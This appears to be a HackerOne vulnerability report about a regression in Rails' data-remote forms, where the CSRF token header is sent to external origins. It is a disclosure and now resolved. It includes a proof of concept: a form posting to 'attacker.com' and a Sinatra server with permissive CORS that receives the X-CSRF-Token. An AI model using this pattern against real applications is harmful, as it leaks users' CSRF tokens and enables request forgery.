CSRF header is sent to external websites when using data-remote forms
Low
R
Ruby on Rails
Submitted None
Actions:
Reported by
mastahyeti
Vulnerability Details
Technical details and impact analysis
Looks like there is a regression in the fix for CVE-2015-1840 ([H1 report](https://hackerone.com/reports/49935)). The origin isn't being checked before adding a CSRF header to `data-remote` forms. I noticed this when checking out the new rails-ujs repo.
Example Rails template:
```
<%= form_tag "http://attacker.com", remote: true do %>
<button type=submit>submit</button>
<% end %>
```
Example http://attacker.com app
```
require "sinatra"
options '/*' do
headers['Access-Control-Allow-Origin'] = "*"
headers['Access-Control-Allow-Methods'] = "POST"
headers['Access-Control-Allow-Headers'] ="x-csrf-token"
end
post '/*' do
"foo"
end
```
When the form is submitted, an XHR request to attacker.com is sent, including the `X-CSRF-Token` header.
PS: @tenderlove told me to submit this here. I shouldn't get paid since I'm one of the GitHub folks who reviews these H1 submissions now.
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2015-1840
UNKNOWN
jquery_ujs.js in jquery-rails before 3.1.3 and 4.x before 4.0.4 and rails.js in jquery-ujs before 1.0.4, as used with Ruby on Rails 3.x and 4.x, allow remote attackers to bypass the Same Origin Policy, and trigger transmission of a CSRF token to a different-domain web server, via a leading space character …
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)